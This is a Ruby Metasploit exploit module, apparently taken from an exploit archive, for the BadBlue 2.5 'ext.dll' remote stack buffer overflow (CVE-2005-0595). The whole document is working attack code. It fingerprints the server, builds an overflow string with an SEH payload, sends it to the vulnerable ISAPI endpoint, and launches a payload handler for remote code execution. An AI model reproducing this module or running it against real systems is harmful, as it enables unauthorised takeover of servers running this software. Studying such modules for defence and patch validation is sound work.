BadBlue 2.5 – ‘ext.dll’ Remote Buffer Overflow (Metasploit)
## # $Id: badblue_ext_overflow.rb 9719 2010-07-07 17:38:59Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # NOTE: BadBlue doesn't give any HTTP headers when requesting '/'. # However, a proper Server header is returned when requesting /index.html or using HEAD. HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow', 'Description' => %q{ This is a stack buffer overflow exploit for BadBlue version 2.5. }, 'Author' => 'acaro <acaro [at] jervus.it>', 'License' => BSD_LICENSE, 'Version' => '$Revision: 9719 $', 'References' => [ [ 'CVE', '2005-0595' ], [ 'OSVDB', '14238' ], [ 'BID', '7387' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ ['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }], ], 'DisclosureDate' => 'Apr 20 2003', 'DefaultTarget' => 0)) end def check info = http_fingerprint # check method if (info =~ /BadBlue\/2\.5/) return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit uri = "GET /ext.dll?mfcisapicommand=" sploit = rand_text_alphanumeric(500) seh = generate_seh_payload(target.ret) sploit[492, seh.length] = seh uri << sploit print_status("Trying target #{target.name}...") send_request_raw({ 'uri' => uri }) handler end end |